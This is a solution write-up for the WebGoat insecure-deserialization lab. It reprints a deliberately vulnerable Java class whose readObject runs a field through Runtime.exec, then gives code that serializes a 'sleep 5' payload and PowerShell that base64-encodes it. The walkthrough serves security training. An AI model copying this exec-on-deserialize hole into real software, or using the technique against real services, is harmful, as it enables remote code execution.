Try to change this serialized object in order to delay the page response for exactly 5 seconds.
Solution
Hints: WebGoat probably contains the org.dummy.insecure.framework.VulnerableTaskHolder class as shown on the lesson pages. Use this to construct and serialize your attack. The VulnerableTaskHolder might have been updated on the server with the next version number. Not all actions are allowed anymore. The readObject has been changed. For serializing it does not effect the data. Follow the additional hints from the feedback on your attempts.
In order to create the attack we need to follow this 4 steps: clone the code at the WebGoat repository, compile the necessary classes, run the attack to serialized the object, and convert the token into base64. Let's break down the process:
cd WebGoat/webgoat-lessons/insecure-deserialization/src/main/java/org/owasp/webgoat/deserialization
cd WebGoat/webgoat-lessons/insecure-deserialization/src/main/java/org/dummy/insecure/framework
package org.dummy.insecure.framework;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.time.LocalDateTime;
public class VulnerableTaskHolder implements Serializable {
private static final long serialVersionUID = 2;
private String taskName;
private String taskAction;
private LocalDateTime requestedExecutionTime;
public VulnerableTaskHolder(String taskName, String taskAction) {
super();
this.taskName = taskName;
this.taskAction = taskAction;
this.requestedExecutionTime = LocalDateTime.now();
}
@Override
public String toString() {
return "VulnerableTaskHolder [taskName=" + taskName + ", taskAction=" + taskAction + ", requestedExecutionTime="
+ requestedExecutionTime + "]";
}
private void readObject(ObjectInputStream stream) throws Exception {
stream.defaultReadObject();
if (requestedExecutionTime != null &&
(requestedExecutionTime.isBefore(LocalDateTime.now().minusMinutes(10))
|| requestedExecutionTime.isAfter(LocalDateTime.now()))) {
throw new IllegalArgumentException("outdated");
}
if ((taskAction.startsWith("sleep") || taskAction.startsWith("ping"))
&& taskAction.length() < 22) {
try {
Process p = Runtime.getRuntime().exec(taskAction);
BufferedReader in = new BufferedReader(
new InputStreamReader(p.getInputStream()));
String line = null;
while ((line = in.readLine()) != null) {
// log.info(line);
}
} catch (IOException e) {
// log.error("IO Exception", e);
}
}
}
}
javac VulnerableTaskHolder.java
package org.dummy.insecure.framework;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
public class Attack {
public static void main(String[] args) throws Exception {
VulnerableTaskHolder vulnObj = new VulnerableTaskHolder("dummy", "sleep 5");
FileOutputStream fos = new FileOutputStream("serial");
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(vulnObj);
os.close();
}
}
javac Attack.java
java org.dummy.insecure.framework.Attack
# Read the binary content of the file
$fileContent = Get-Content -Path "serial" -Encoding Byte
# Convert the binary content to a Base64 string
$base64String = [System.Convert]::ToBase64String($fileContent)
# Print the Base64 string
$base64String